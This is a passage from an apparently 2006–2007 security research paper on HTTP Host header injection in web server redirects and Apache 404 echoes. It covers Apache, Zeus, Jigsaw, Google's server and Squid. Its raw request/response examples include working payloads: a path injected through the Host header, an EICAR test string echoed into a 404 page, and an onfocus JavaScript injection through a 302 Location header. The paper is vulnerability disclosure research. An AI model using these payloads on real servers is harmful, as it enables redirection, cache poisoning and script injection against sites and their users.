Anyway, configuring this will still allow to inject a port to the Host header, so allowing for the same attacks as those described for Apache.

Here you have some tests with other web servers:

Zeus 4.3 is one of the most vulnerable web server tested. It allows to inject a full path in the "Host" header, then actually allowing a directory redirection too:

GET /REDIR HTTP/1.0
Host: testserver:80/attackers_directory

HTTP/1.1 301 Moved Permanently^M
Server: Zeus/4_3^M
Date: Sat, 04 Nov 2006 15:19:01 GMT^M
Connection: close^M
Content-Length: 212^M
Location: http://testserver:80/attackers_directory/REDIR/^M
Content-Type: text/html^M
^M
<html><head><title>Error 301 Moved Permanently^M
</title></head><body bgcolor=#ffffff><h2>Error 301 Moved Permanently^M
</h2><p><i>Powered by <a href="http://errors.zeus.com/">Zeus Technology</a></i></body></html>

This is critical if the attacker is the owner of a directory (hosting scenario)


Jigsaw/2.2.5, is also vulnerable
--------------------------------------------------
GET /REDIR HTTP/1.0
Host: testserver:800

HTTP/1.1 301 Moved Permanently^M
Connection: keep-alive,close^M
Date: Fri, 28 Jul 2006 18:57:26 GMT^M
Content-Length: 397^M
Content-Type: text/html;charset=ISO-8859-1^M
Location: http://testserver:800/REDIRl^M
Server: Jigsaw/2.2.5^M
^M

(...)
-----------------------------------------------------------

I Looked at the configuration of the Squid to understand better behaviour of other well known proxy.

# TAG: httpd_accel_uses_host_header on|off
# HTTP/1.1 requests include a Host: header which is basically the
# hostname from the URL. The Host: header is used for domain based
# virtual hosts. If your accelerator needs to provide domain based
# virtual hosts on the same IP address you will need to turn this
# on.
#
# Note Squid does NOT check the value of the Host header matches
# any of your accelerated server, so it may open a big security hole
# unless you take care to set up access controls proper. We recommend
# this option remain disabled unless you are sure of what you
# are doing.
#
# However, you will need to enable this option if you run Squid
# as a transparent proxy. Otherwise, virtual servers which
# require the Host: header will not be properly cached
.
#
#Default:
httpd_accel_uses_host_header Off

OK, so on Squid you must set up access controls properly... Anyway, what access control could be done on a transparent proxy?

Transparent, means transparent... Isn't it?

GOOGLE Web Server is also completely vulnerable.

GET /features.html HTTP/1.0
Host: www.spoofsite.net

HTTP/1.0 301 Moved Permanently^M
Location: http://www.spoofsite.net/help/features.html^M
Set-Cookie: PREF=ID=aacc6246dcdf0868:TM=1157738387:LM=1157738387:S=bxFEvsf8OB7ENVSH; expires=Sun, 17-Jan-2038 19:14:07 GMT
; path=/; domain=.google.com^M
Content-Type: text/html^M
Server: GWS/2.1^M
Content-Length: 240^M
Date: Fri, 08 Sep 2006 17:59:47 GMT^M
Connection: Keep-Alive^M
^M
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.spoofsite.net/help/features.html">here</A>.^M
</BODY></HTML>^M


-----------------------------------------------------------------------------

 

So it seems there are a lot of web servers doing strange things building the Location header in redirects...

Web reverse cache servers can more or less be affected depending on ACL's. The transparent proxies could be more seriously affected.

Of course any interaction between a web server and a proxy/cache server is a different scenario, but as far I have seen, in most cases you only have
to have the attack tailored to the target scenarios: Apache + Apache (mod_proxy, mod_cache), Zeus + Apache (mod_proxy, mod_cache), etc...

Let's go back to Apache research, and to the the injection problem...

Apache HTTP 404 error response almost arbitrary injection example

A web server echoing back almost "anything" it's a problem. What if we make a request like this to an Apache:

GET /%58%35%4f%21%50%25%40%41%50%5b%34%5c%50%5a%58%35%34%28%50%5e%29%37%43%43%29%37%7d%24%45%49%43%41%

52%2d%53%54%41%4e%44%41%52%44%2d%41%4e%54%49%56%49%52%55%53%2d%54%45%53%54%2d%46%49%4c%45%21%24%48

%2b%48%2a HTTP/1.0

What happens is we get e response like this:

HTTP/1.1 404 Not Found^M
Date: Thu, 16 Nov 2006 12:58:15 GMT^M
Server: Apache/2.0.59 (Unix)^M
Content-Length: 342^M
Connection: close^M
Content-Type: text/html; charset=iso-8859-1^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* was not found on this server.</
p>
<hr>
<address>Apache/2.0.59 (Unix) Server at www.test.com Port 80</address>
</body></html>

As you can see in the next screenshot:

 

And, what does it happen if you try to look at the source code?

 

 

What happens is that the AV software warns you:

 

And "cleans" it.

 

So, yes, we are injecting a fake virus in the HTTP server response stream... Virus injection, on the fly! Nice, isn't it? :-)

Of course this is a stupid example and we are only playing with a test virus -EICAR-. Also you must consider how corporate HTTP antivirus gateways
will react on this...

Ok. Let's come back to the "Host" headers injection. Now let's combine a 302 Location redirect with poor input filtering.

On some versions of Apache, and when the "UseCanonicalName" is set to "Off" you can do this:

GET / HTTP/1.0
Host: " onfocus="javascript:alert('hola')"

HTTP/1.1 302 Found^M
Date: Sat, 20 Jan 2007 17:53:42 GMT^M
Server: Apache^M
Location: http://" onfocus="javascript:alert('hola')"/portal/index.do^M
Content-Length: 329^M
Connection: close^M
Content-Type: text/html; charset=iso-8859-1^M
^M
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://" onfocus="javascript:alert('hola')"/portal/index.do">here</a>.</p>
<hr>
<address>Apache Server at " onfocus="javascript:alert('hola')" Port 80</address>
</body></html>

Boom!

This script will be executed automatically and in an infinite loop, just because there's only one focus possibility in the error page, so this works as an
"onload" injection.

Just to finish this simple paper, let's summarize the problems found on Apache -some of them found also on other web servers-

1.- HTTP 404 error response almost arbitrary injection (Apache)

Impact right now:

a) fake virus injection in Apache 404 HTTP responses wich can lead in alarms on corporate gateway antivirus, lose of trust on supposed trusted sites, end user paranoid...

b) Control codes injection -backspaces, etc.- thus allowing script injection in the server response. Right now it seems that this vulnerability is not
affecting real browsers
, just because of the "backspace" escaping in the clients, or due to other things.

Impact in the future: REAL injection in Apache 404 HTTP responses of almost any kind of file, that is virus, binaries, trojans, etc. The attacker must be able to modify the "Content-Type" HTTP header of the server response. Also, due to some restrictions in the injected "payload", the attacker must avoid using some chars like null bytes.

2.- Location HTTP header injection in server redirect responses (Apache, IIS, Zeus 3.2, Google Web Server, Jigsaw/2.2.5, probably many
others)

Impact: Depending on the affected web server it could be a Denial of Service -when combined with a proxy caché poisoning-, HTTP URL redirection, etc.

 

For this research I have used the following:

Tools:

- Netcat v1.10: if you do not know this tool, search at Google...

- Httpedit: a "simple" but very interesting tool for low level http edition.

- Ethereal: a network protocol analyzer

And the following testing software -among other-:

- Apache 2.0.X, 2.2.X, 1.3.X

- Apache Mod_proxy, Mod_cache

- Squid

- Zeus 3.2

- Internet Information Server 6.0

Bibliography:

- RFC 2616

- ISO/IEC 8859-1

Greetings:

Amit Klein: for notice me the difference between"iso 8859-1" and "iso-8859-1". Thank you Amit, I really mispelled this... :-)

 

 

 



--------------------------------------------

INFOHACKING_RESEARCH_DIRECTORY

GO TO START PAGE